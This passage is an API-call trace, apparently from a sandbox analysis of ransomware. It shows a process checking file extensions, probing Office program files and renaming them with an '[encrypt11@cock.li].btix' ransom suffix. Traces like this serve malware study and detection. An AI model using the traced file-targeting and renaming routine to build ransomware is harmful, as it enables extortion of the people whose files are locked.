(lpString1=".xlsx", lpString2="0.dll") returned -1 [0140.537] lstrlenW (lpString=".ppt") returned 4 [0140.537] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0140.537] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\msvcp120.dll") returned 61 [0140.537] lstrlenW (lpString=".zip") returned 4 [0140.537] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0140.538] lstrlenW (lpString=".rar") returned 4 [0140.538] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0140.538] lstrlenW (lpString=".bz2") returned 4 [0140.538] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0140.538] lstrlenW (lpString=".7z") returned 3 [0140.538] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0140.538] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\msvcp120.dll") returned 61 [0140.538] lstrlenW (lpString=".dbf") returned 4 [0140.538] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0140.538] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\msvcp120.dll") returned 61 [0140.538] lstrlenW (lpString=".1cd") returned 4 [0140.538] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0140.538] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\msvcp120.dll") returned 61 [0140.538] lstrlenW (lpString=".jpg") returned 4 [0140.538] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0140.538] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\msvcp120.dll") returned 61 [0140.538] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\msvcp120.dll") returned 61 [0140.538] lstrlenW (lpString=".doc") returned 4 [0140.538] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0140.538] lstrlenW (lpString=".docx") returned 5 [0140.538] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0140.538] lstrlenW (lpString=".pdf") returned 4 [0140.538] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0140.538] lstrlenW (lpString=".xls") returned 4 [0140.538] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0140.538] lstrlenW (lpString=".xlsx") returned 5 [0140.538] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0140.538] lstrlenW (lpString=".ppt") returned 4 [0140.538] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0140.538] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\msvcp120.dll") returned 61 [0140.538] lstrlenW (lpString=".zip") returned 4 [0140.538] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0140.538] lstrlenW (lpString=".rar") returned 4 [0140.539] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0140.539] lstrlenW (lpString=".bz2") returned 4 [0140.539] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0140.539] lstrlenW (lpString=".7z") returned 3 [0140.539] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0140.539] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\msvcp120.dll") returned 61 [0140.539] lstrlenW (lpString=".dbf") returned 4 [0140.539] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0140.539] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\msvcp120.dll") returned 61 [0140.539] lstrlenW (lpString=".1cd") returned 4 [0140.539] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0140.539] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\msvcp120.dll") returned 61 [0140.539] lstrlenW (lpString=".jpg") returned 4 [0140.539] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0140.539] lstrcmpiW (lpString1=".dll", lpString2=".btix") returned 1 [0140.539] lstrlenW (lpString="msvcp140.dll") returned 12 [0140.539] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\msvcp140.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\msvcp140.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540 [0140.540] GetFileSizeEx (in: hFile=0x540, lpFileSize=0x38cff14 | out: lpFileSize=0x38cff14*=439608) returned 1 [0140.540] CloseHandle (hObject=0x540) returned 1 [0140.540] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\msvcp140.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\msvcp140.dll")) returned 0x220 [0140.540] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\msvcp140.dll.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\msvcp140.dll.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0140.540] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\msvcp140.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\msvcp140.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0140.541] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\msvcp140.dll") returned 61 [0140.541] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\msvcp140.dll") returned 61 [0140.541] lstrlenW (lpString=".doc") returned 4 [0140.541] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0140.541] lstrlenW (lpString=".docx") returned 5 [0140.541] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0140.541] lstrlenW (lpString=".pdf") returned 4 [0140.541] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0140.541] lstrlenW (lpString=".xls") returned 4 [0140.541] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0140.541] lstrlenW (lpString=".xlsx") returned 5 [0140.541] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0140.541] lstrlenW (lpString=".ppt") returned 4 [0140.541] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0140.541] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\msvcp140.dll") returned 61 [0140.541] lstrlenW (lpString=".zip") returned 4 [0140.541] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0140.541] lstrlenW (lpString=".rar") returned 4 [0140.541] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0140.541] lstrlenW (lpString=".bz2") returned 4 [0140.541] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0140.541] lstrlenW (lpString=".7z") returned 3 [0140.541] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0140.541] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\msvcp140.dll") returned 61 [0140.541] lstrlenW (lpString=".dbf") returned 4 [0140.541] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0140.542] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\msvcp140.dll") returned 61 [0140.542] lstrlenW (lpString=".1cd") returned 4 [0140.542] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0140.542] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\msvcp140.dll") returned 61 [0140.542] lstrlenW (lpString=".jpg") returned 4 [0140.542] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0140.542] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\msvcp140.dll") returned 61 [0140.542] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\msvcp140.dll") returned 61 [0140.542] lstrlenW (lpString=".doc") returned 4 [0140.542] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0140.542] lstrlenW (lpString=".docx") returned 5 [0140.542] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0140.542] lstrlenW (lpString=".pdf") returned 4 [0140.542] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0140.542] lstrlenW (lpString=".xls") returned 4 [0140.542] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0140.542] lstrlenW (lpString=".xlsx") returned 5 [0140.542] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0140.542] lstrlenW (lpString=".ppt") returned 4 [0140.542] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0140.542] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\msvcp140.dll") returned 61 [0140.542] lstrlenW (lpString=".zip") returned 4 [0140.542] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0140.542] lstrlenW (lpString=".rar") returned 4 [0140.542] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0140.542] lstrlenW (lpString=".bz2") returned 4 [0140.542] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0140.542] lstrlenW (lpString=".7z") returned 3 [0140.542] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0140.543] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\msvcp140.dll") returned 61 [0140.543] lstrlenW (lpString=".dbf") returned 4 [0140.543] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0140.543] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\msvcp140.dll") returned 61 [0140.543] lstrlenW (lpString=".1cd") returned 4 [0140.543] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0140.543] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\msvcp140.dll") returned 61 [0140.543] lstrlenW (lpString=".jpg") returned 4 [0140.543] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0140.543] lstrcmpiW (lpString1=".dll", lpString2=".btix") returned 1 [0140.543] lstrlenW (lpString="msvcr120.dll") returned 12 [0140.543] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\msvcr120.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\msvcr120.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540 [0140.544] GetFileSizeEx (in: hFile=0x540, lpFileSize=0x38cff14 | out: lpFileSize=0x38cff14*=968880) returned 1 [0140.544] CloseHandle (hObject=0x540) returned 1 [0140.544] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\msvcr120.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\msvcr120.dll")) returned 0x220 [0140.544] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\msvcr120.dll.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\msvcr120.dll.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0140.544] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\msvcr120.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\msvcr120.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0140.544] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\msvcr120.dll") returned 61 [0140.544] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\msvcr120.dll") returned 61 [0140.544] lstrlenW (lpString=".doc") returned 4 [0140.544] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0140.544] lstrlenW (lpString=".docx") returned 5 [0140.544] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0140.544] lstrlenW (lpString=".pdf") returned 4 [0140.544] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0140.545] lstrlenW (lpString=".xls") returned 4 [0140.545] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0140.545] lstrlenW (lpString=".xlsx") returned 5 [0140.545] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0140.545] lstrlenW (lpString=".ppt") returned 4 [0140.545] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0140.545] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\msvcr120.dll") returned 61 [0140.545] lstrlenW (lpString=".zip") returned 4 [0140.545] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0140.545] lstrlenW (lpString=".rar") returned 4 [0140.545] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0140.545] lstrlenW (lpString=".bz2") returned 4 [0140.545] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0140.545] lstrlenW (lpString=".7z") returned 3 [0140.545] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0140.545] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\msvcr120.dll") returned 61 [0140.545] lstrlenW (lpString=".dbf") returned 4 [0140.545] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0140.545] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\msvcr120.dll") returned 61 [0140.545] lstrlenW (lpString=".1cd") returned 4 [0140.545] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0140.545] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\msvcr120.dll") returned 61 [0140.545] lstrlenW (lpString=".jpg") returned 4 [0140.545] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0140.545] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\msvcr120.dll") returned 61 [0140.545] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\msvcr120.dll") returned 61 [0140.545] lstrlenW (lpString=".doc") returned 4 [0140.545] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0140.545] lstrlenW (lpString=".docx") returned 5 [0140.545] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0140.545] lstrlenW (lpString=".pdf") returned 4 [0140.545] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0140.546] lstrlenW (lpString=".xls") returned 4 [0140.546] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0140.546] lstrlenW (lpString=".xlsx") returned 5 [0140.546] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0140.546] lstrlenW (lpString=".ppt") returned 4 [0140.546] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0140.546] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\msvcr120.dll") returned 61 [0140.546] lstrlenW (lpString=".zip") returned 4 [0140.546] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0140.546] lstrlenW (lpString=".rar") returned 4 [0140.546] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0140.546] lstrlenW (lpString=".bz2") returned 4 [0140.546] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0140.546] lstrlenW (lpString=".7z") returned 3 [0140.546] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0140.546] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\msvcr120.dll") returned 61 [0140.546] lstrlenW (lpString=".dbf") returned 4 [0140.546] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0140.546] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\msvcr120.dll") returned 61 [0140.546] lstrlenW (lpString=".1cd") returned 4 [0140.546] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0140.546] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\msvcr120.dll") returned 61 [0140.546] lstrlenW (lpString=".jpg") returned 4 [0140.546] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0140.546] lstrcmpiW (lpString1=".dll", lpString2=".btix") returned 1 [0140.546] lstrlenW (lpString="ucrtbase.dll") returned 12 [0140.546] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\ucrtbase.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\ucrtbase.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540 [0140.547] GetFileSizeEx (in: hFile=0x540, lpFileSize=0x38cff14 | out: lpFileSize=0x38cff14*=900288) returned 1 [0140.547] CloseHandle (hObject=0x540) returned 1 [0140.547] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\ucrtbase.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\ucrtbase.dll")) returned 0x220 [0140.548] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\ucrtbase.dll.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\ucrtbase.dll.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0140.548] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\ucrtbase.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\ucrtbase.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0140.548] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\ucrtbase.dll") returned 61 [0140.548] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\ucrtbase.dll") returned 61 [0140.548] lstrlenW (lpString=".doc") returned 4 [0140.548] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0140.548] lstrlenW (lpString=".docx") returned 5 [0140.548] lstrcmpiW (lpString1=".docx", lpString2="e.dll") returned -1 [0140.548] lstrlenW (lpString=".pdf") returned 4 [0140.548] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0140.548] lstrlenW (lpString=".xls") returned 4 [0140.548] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0140.548] lstrlenW (lpString=".xlsx") returned 5 [0140.548] lstrcmpiW (lpString1=".xlsx", lpString2="e.dll") returned -1 [0140.548] lstrlenW (lpString=".ppt") returned 4 [0140.548] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0140.548] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\ucrtbase.dll") returned 61 [0140.548] lstrlenW (lpString=".zip") returned 4 [0140.548] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0140.548] lstrlenW (lpString=".rar") returned 4 [0140.548] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0140.548] lstrlenW (lpString=".bz2") returned 4 [0140.549] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0140.549] lstrlenW (lpString=".7z") returned 3 [0140.549] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0140.549] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\ucrtbase.dll") returned 61 [0140.549] lstrlenW (lpString=".dbf") returned 4 [0140.549] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0140.549] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\vccorlib140.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\vccorlib140.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540 [0140.549] GetFileSizeEx (in: hFile=0x540, lpFileSize=0x38cff14 | out: lpFileSize=0x38cff14*=266928) returned 1 [0140.549] CloseHandle (hObject=0x540) returned 1 [0140.549] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\vccorlib140.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\vccorlib140.dll")) returned 0x220 [0140.549] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\vccorlib140.dll.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\vccorlib140.dll.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0140.550] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\vccorlib140.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\vccorlib140.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0140.550] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\vcruntime140.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\vcruntime140.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540 [0140.551] GetFileSizeEx (in: hFile=0x540, lpFileSize=0x38cff14 | out: lpFileSize=0x38cff14*=85328) returned 1 [0140.551] CloseHandle (hObject=0x540) returned 1 [0140.551] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\vcruntime140.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\vcruntime140.dll")) returned 0x220 [0140.551] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\vcruntime140.dll.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\vcruntime140.dll.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0140.551] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\vcruntime140.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\vcruntime140.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0140.551] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RInt.16.msi" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rint.16.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540 [0140.553] GetFileSizeEx (in: hFile=0x540, lpFileSize=0x38cff14 | out: lpFileSize=0x38cff14*=12980224) returned 1 [0140.554] CloseHandle (hObject=0x540) returned 1 [0140.554] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RInt.16.msi" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rint.16.msi")) returned 0x220 [0140.554] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RInt.16.msi.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rint.16.msi.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0140.554] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RInt.16.msi" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rint.16.msi"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RInt.16.msi.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rint.16.msi.id-b4197730.[encrypt11@cock.li].btix")) returned 0 [0140.554] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RIntLoc.en-us.16.msi" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rintloc.en-us.16.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540 [0140.554] GetFileSizeEx (in: hFile=0x540, lpFileSize=0x38cff14 | out: lpFileSize=0x38cff14*=45056) returned 1 [0140.554] CloseHandle (hObject=0x540) returned 1 [0140.554] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RIntLoc.en-us.16.msi" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rintloc.en-us.16.msi")) returned 0x220 [0140.555] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RIntLoc.en-us.16.msi.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rintloc.en-us.16.msi.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0140.555] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RIntLoc.en-us.16.msi" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rintloc.en-us.16.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0140.555] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\Integrator.exe" (normalized: "c:\\program files\\microsoft office\\root\\integration\\integrator.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540 [0140.555] GetFileSizeEx (in: hFile=0x540, lpFileSize=0x38cff14 | out: lpFileSize=0x38cff14*=1229936) returned 1 [0140.555] CloseHandle (hObject=0x540) returned 1 [0140.555] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\Integrator.exe" (normalized: "c:\\program files\\microsoft office\\root\\integration\\integrator.exe")) returned 0x220 [0140.555] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\Integrator.exe.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\integration\\integrator.exe.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0140.556] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\Integrator.exe" (normalized: "c:\\program files\\microsoft office\\root\\integration\\integrator.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0140.556] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\OneDriveSetup.exe" (normalized: "c:\\program files\\microsoft office\\root\\integration\\onedrivesetup.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540 [0140.557] GetFileSizeEx (in: hFile=0x540, lpFileSize=0x38cff14 | out: lpFileSize=0x38cff14*=7217832) returned 1 [0140.557] CloseHandle (hObject=0x540) returned 1 [0140.557] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\OneDriveSetup.exe" (normalized: "c:\\program files\\microsoft office\\root\\integration\\onedrivesetup.exe")) returned 0x220 [0140.557] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\OneDriveSetup.exe.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\integration\\onedrivesetup.exe.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0140.557] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\OneDriveSetup.exe" (normalized: "c:\\program files\\microsoft office\\root\\integration\\onedrivesetup.exe"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\OneDriveSetup.exe.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\integration\\onedrivesetup.exe.id-b4197730.[encrypt11@cock.li].btix")) returned 0 [0140.756] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\QFE31927.msp" (normalized: "c:\\program files\\microsoft office\\root\\integration\\qfe31927.msp"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x42c [0140.758] GetFileSizeEx (in: hFile=0x42c, lpFileSize=0x38cff14 | out: lpFileSize=0x38cff14*=25876480) returned 1 [0140.758] CloseHandle (hObject=0x42c) returned 1 [0140.758] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\QFE31927.msp" (normalized: 